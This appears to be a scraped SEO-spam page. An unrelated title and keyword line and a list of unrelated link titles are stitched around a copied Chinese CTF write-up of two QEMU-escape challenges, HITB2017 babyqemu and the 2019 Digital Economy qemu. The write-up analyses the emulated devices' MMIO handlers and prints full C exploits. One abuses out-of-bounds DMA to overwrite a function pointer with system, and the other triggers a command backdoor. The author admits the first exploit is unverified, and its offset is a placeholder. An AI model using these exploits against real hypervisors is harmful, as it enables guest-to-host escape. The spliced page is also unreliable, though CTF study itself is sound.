当前位置: 首页 > news >正文

二手表网站百度入驻商家

二手表网站,百度入驻商家,wordpress 分辨 模版,网站如何推广方案策划前言 由于本地环境问题,babyqemu 环境都没有起起,这里仅仅做记录,exp 可能不正确。 HITB2017-babyqemu 设备逆向 设备定位啥的就不说了,先看下实例结构体: 其中 dma_state 结构体如下: 这里看字段猜测…

前言

由于本地环境问题,babyqemu 环境都没有起起,这里仅仅做记录,exp 可能不正确。

HITB2017-babyqemu 

设备逆向

设备定位啥的就不说了,先看下实例结构体:

其中 dma_state 结构体如下:

这里看字段猜测跟 dma 相关,然后只注册了 mmio,所以直接看 mmio_read/mmio_write 吧。

这里为了方便,我把函数的功能直接写出来了

hitb_mmio_read 就是去读取实例结构体中的字段。hitb_mmio_write 主要就是设置 dma 中的相关字段。

然后最重要的就是那个时钟任务了,该时钟任务会在 hitb_mmio_write 函数中被触l

漏洞就在该时钟任务中: 

可以看到在对物理内存进行读写时并没有检查 dma.cnt 的大小,并且也没有检查读取下标的范围。但是对于 dma.cnt 大小没有检查对攻击者而言是没有的,因为其对应的是用户的 buf。

 漏洞利用

由于没有对 idx 进行检查,所以我们可以越界读取 enc 函数指针,然后以此计算出 system@plt 的地址。然后利用越界写修改 enc 函数指针为 system@plt 地址,并在 dma_buf 开头写上 cmd。这样当触发 enc(dma_buf) 时就可以执行任意命令。

即:

exp 如下:由于环境,exp 没有经过验证

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>void *mmio_base;
void mmio_init()
{int fd = open("resource0_path", O_RDWR);if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
}void mmio_write(uint32_t addr, uint32_t val)
{*(uint32_t*)(mmio_base + addr) = val;
}uint64_t gva_to_gpa(void *addr)
{uint64_t page;int fd = open("/proc/self/pagemap", O_RDONLY);if (fd < 0) puts("[X] open pagemap"), exit(EXIT_FAILURE);lseek(fd, (((uint64_t)addr >> 12) << 3), 0);read(fd, &page, 8);if (!(page & (1ULL << 63))) puts("[X] page not present"), exit(EXIT_FAILURE);return ((page & ((1ULL << 55 )- 1)) << 12) | ((uint64_t)addr & (4095));
}void arb_read(uint64_t dst, uint32_t src, uint32_t len)
{uint64_t gpa = gva_to_gpa(dst);mmio_write(0x88, gpa);mmio_write(0x80, src+0x40000);mmio_write(0x90, len);mmio_write(0x98, 1|2);sleep(1);
}uint64_t arb_write(uint32_t dst, uint64_t src, uint32_t len)
{uint64_t gpa = gva_to_gpa(src);mmio_write(0x88, dst+0x40000);mmio_write(0x80, gpa);mmio_write(0x90, len);mmio_write(0x98, 1);sleep(1);
}void triger(uint32_t src, uint32_t len)
{mmio_write(0x88, 0);mmio_write(0x80, src+0x40000);mmio_write(0x90, len);mmio_write(0x98, 1|2|4);sleep(1);
}int main(int argc, char** argv, char** envp)
{mmio_init();uint64_t enc_addr = 0;arb_read(&enc_addr, 0x1000, 8);printf("[+] enc_addr => %#p\n", enc_addr);uint64_t offset = 0; // enc - system offsetuint64_t system_addr = enc_addr + offset;printf("[+] system_addr => %#p\n", system_addr);char * cmd = "xcalc";arb_write(0x100, cmd, strlen(cmd));arb_write(0x1000, &system_addr, 8);triger(0x100, 0);return 0;
}

2019数字经济-qemu

用户名:root(无密码)

该题没有符号,这题其实非常简单,有直接的后门。所以重在对题目的分析上面。

这题没有符号,但是挺简单的,白给的后门。

mmio_read 里面存在后门:

但是这里有一个 check:

而在 mmio_write 函数中就可以设置 checked 数组的值从而绕过 check,并且还可以设置 command 的值:


 

exp 如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>void * mmio_base;
void mmio_init()
{int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x1000000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);if (mlock(mmio_base, 0x1000000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}void mmio_write(uint64_t opt, uint64_t idx, uint64_t val)
{uint64_t addr = 0;if (opt == 6)addr = (opt << 20) | idx;elseaddr = (opt << 20) | (idx << 16);printf("%#llx\n", addr);*(uint64_t*)(mmio_base + addr) = val;
}int main(int argc, char** argv, char** envp)
{// "wwssadadBABA"mmio_init();mmio_write(0, 0, 0);mmio_write(0, 1, 0);mmio_write(1, 2, 0);mmio_write(1, 3, 0);mmio_write(2, 4, 0);mmio_write(3, 5, 0);mmio_write(2, 6, 0);mmio_write(3, 7, 0);mmio_write(5, 8, 0);mmio_write(4, 9, 0);mmio_write(5, 10, 0);mmio_write(4, 11, 0);char cmd[0x8] = "xcalc;";mmio_write(6, 0, *(uint64_t*)&cmd[0]);return *(int*)mmio_base;
}
xi

效果如下:

http://www.ds6.com.cn/news/21677.html

相关文章:

  • 有免费建站的网站吗怎么做好网络销售
  • 中铁建设集团有限公司华东分公司海南快速seo排名优化
  • 有什么网站接效果图做的找平台推广
  • 做优化的网站用什么空间好百度公司招聘岗位
  • 网站建设怎么做账务处理网站seo视频狼雨seo教程
  • 大作设计网站公司百度官方下载安装
  • 网站备案接入服务单位男生技能培训班有哪些
  • 做的好的音乐网站web个人网站设计代码
  • 小说网站建立seo在线优化工具
  • 网站备案有哪些费用看到招聘游戏推广员千万别去
  • 如何在本地搭建网站sem优化技巧
  • 连云港网站建设公司seo推广是什么工作
  • 广东海外建设监理有限公司网站佐力药业股票
  • 钓鱼网站的危害搜索引擎营销的主要方法
  • 主任说到学校新网站的建设工作淘宝关键词怎么选取
  • 少儿编程学什么搜索引擎优化的主要特征
  • 深圳注册公司个人数字证书海淀seo搜索引擎优化公司
  • 电子商务网站开发常用工具长沙seo优化排名
  • 网站开发所需开发环境360手机优化大师安卓版
  • 淄博临淄信息港网站页面怎么优化
  • 海淀做网站的公司上海牛巨微seo
  • 怎么做刷业网站seo优化分析
  • 什么网站做美式软装设计理念成品视频直播软件推荐哪个好用
  • 模板网站可以做推广吗简述seo和sem的区别
  • 生物科技网站建设 中企动力北京关键词优化到首页怎么做到的
  • 建设网站需要分析什么深圳营销型网站开发
  • 网站建设丨金手指谷哥12seo网站推广推荐
  • 基层单位不能建设网站广州新闻最新消息今天
  • 棉桃剥壳机做网站如何做电商
  • 静态网站制作模板关键词seo深圳